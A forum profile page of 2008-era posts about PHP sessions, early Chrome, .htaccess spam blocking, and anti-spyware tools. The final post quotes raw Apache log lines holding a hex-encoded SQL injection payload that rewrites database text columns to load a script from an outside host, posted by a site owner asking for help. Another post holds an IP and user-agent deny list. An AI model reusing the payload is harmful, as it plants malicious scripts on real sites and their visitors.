Jump to content

carbonize

Members
  • Posts

    824
  • Joined

  • Last visited

Posts posted by carbonize

  1. If memory serves SID outputs the session ID as variable=id (PHPSESSID=fd8d8bb54c8e368fc5d831cc02979c38) but once you have started a session you can use session_id();

     

    session_start();

    $getsid1 = '?'.SID;

    $getsid2 = '&'.SID;

    $postsid = '<input type="hidden" name="PHPSESSID" value="'.session_id().'">

  2. I just had a look at a CSS3 test page in both Chrome and Safari and Chrome doesn't display somethings that Safari does which makes me wonder if either Google is using an old WebKit or if they have messed with it or if Apple just hasn't released an up to date version. The page I tested on was http://www.westciv.com/iphonetests/

     

    I just looked and both browsers claim to be using the same WebKit

     

    Chrome:

    Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13

     

    Safari:

    Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13

     

     

     

    Oh and just to add that apparently Mozilla has a new Javascript engine that they are introducing in Firefox 3.1 and some claim it may be better than V8 but we shall see.

     

    Further Update: - No RSS support neither :|

  3. Google wrote their own Javascript Engine (poorly named V8) which is up to 10 times faster than other versions.

     

    No Google paid a company to make the new engine for them. To my knowledge the main engine parts of Chrome (the renderer an Javascript engine) are both made by third parties.

  4. Personally I'm not a big fan of leaving computers running 24/7 unless it is working so I've never had an issue with rebooting. And before now I have happily had my desktop (Vista) running for 7 weeks and only turned it off because I had finished what I was doing (I was running it as a test server for one of my scripts).

  5. Thomas Chrome uses Apples WebKit engine for rendering so testing in either Chrome or Safari should give same results. Same as testing in Firefox, Flock or Kmeleon 'should' give the same results.

     

    I installed Chrome and was instantly annoyed at their choice of fully skinning it using the Vista theme given that I was on XP at the time. The pages I tested were fast but then so is my Firefox after I tweaked it. To me it looks like each tab is a whole new window which is just docked to the main browser component (which Google pretty much says anyway) hence you get a new entry in your running tasks for each pane. Can't say I was that impressed specially given the very sparse options available. Possibly part of why I don't like it is that is is very different in some ways to what I am used to but then again maybe not.

     

    Anyway I cannot see it replacing Firefox on my systems any time soon.

  6. It all depends on what you are after. Smf and phpBB are the two main free forum scripts these days but there are so many other such as Phorum, UNB etc. Have a look at www.opensourcecms.com where you can play with a lot of forum scripts so see which you like best.

     

    If you want a powerful, fully fledged, whistles and bells forum then go for SMF. PHPBB for some reason has yet to embrace the world of Ajax for quick editing. If you want a simple but good looking forum try UNB.

  7. The order I have them in is what most sites say it should be in. I only added that today as before that I just had a list of deny from ###. It's like the code to stop people reading the htaccess file

     

    <Files .htaccess>

    order allow,deny

    deny from all

    </Files>

     

    BTW thanks for moving this. I wasn't sure where to put it hence it being where it was.

  8. For the past month or so I have noticed that my site has been slow for me. Today I was updating my htaccess file and discovered that if I removed all the deny from my site was fast again. Is there an issue with the deny from? I mean I know there shouldn't be. Here is the anti spam bit from my file

     

    # Anti Spam Stuff

     

    order allow,deny

    deny from 58.254.112.22

    deny from 69.147.242.42

    deny from 119.66.186.31

    deny from 123.128.145.238

    deny from 193.46.236.234

    deny from 212.116.219.54

    deny from alfa.inptr.biz

    deny from apex.dedicatedplace.com

    deny from .internetserviceteam.com

    deny from .layeredtech.com

    deny from not-yet-assigned.draculahosting.com

    allow from all

     

    SetEnvIfNoCase User-Agent "^libwww-perl*" spammer=yes

    SetEnvIfNoCase User-Agent "^Jakarta*" spammer=yes

    SetEnvIfNoCase User-Agent "^TrackBack*" spammer=yes

    SetEnvIfNoCase User-Agent "^USERAGENT$" spammer=yes

    SetEnvIfNoCase Via pinappleproxy spammer=yes

    SetEnvIfNoCase Referer tdmpost\.t35\.com spammer=yes

    SetEnvIfNoCase X-AAAAAAAAAAAA 1 spammer=yes

    Deny from env=spammer

     

    # End Anti Spam Stuff

     

    it's only the first block that slows me down. Removing it fixes the speed issue.

     

    ps. I'm on Matra.

  9. Given how sloppy Yahoo's spam filtering is why would you want to instantly delete any mail classed as spam? Even the best spam filter gets it wrong sometimes which is why we have junk mail folders.

  10. As has been stated these programs are free but I'd thought I'd add this. I personally use

     

    SpywareBlaster - This stops a lot of infection by adding a list of known bad sites to the blocked lists of your web browser

    Spybot S&D - I use this to immunize as well but I also scan with it once a month

    SpywareTerminator - I use this to scan once a month and it can integrate with CLamAV so you get a spyware/malware/anti virus scan in one.

  11. I was going through my error logs and noticed some alerts so I downloaded my raw log. I found the following entries (there were more but I'll only post one full and one truncated). So I'm guessing there is an exploit in an old version of either PHP or Apache but can anyone shed any light on it? I have blocked the 2 main IPs using htaccess for now.

     

    ool-44c369a7.dyn.optonline.net - - [22/Aug/2008:03:34:39 -0400] "GET /Old/Yahoo/archive.php?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343

    0303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C656374

    2

    0612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73

    2

    06220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78

    7

    47970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78

    7

    47970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D

    2

    0205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F535441

    5

    455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40

    4

    32B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E31

    3

    03030796C632E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B4043

    2

    B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372

    6

    97074207372633D22687474703A2F2F777777322E31303030796C632E636E2F63737273732F772E6A7322

    3

    E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F4375

    7

    2736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C

    4

    C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1" 200 9659 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"

    ool-44c369a7.dyn.optonline.net - - [22/Aug/2008:03:34:39 -0400] "GET /Old/Yahoo/archive.php?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228343

    <snip>

    C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); HTTP/1.1" 200 9280 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"

×
×
  • Create New...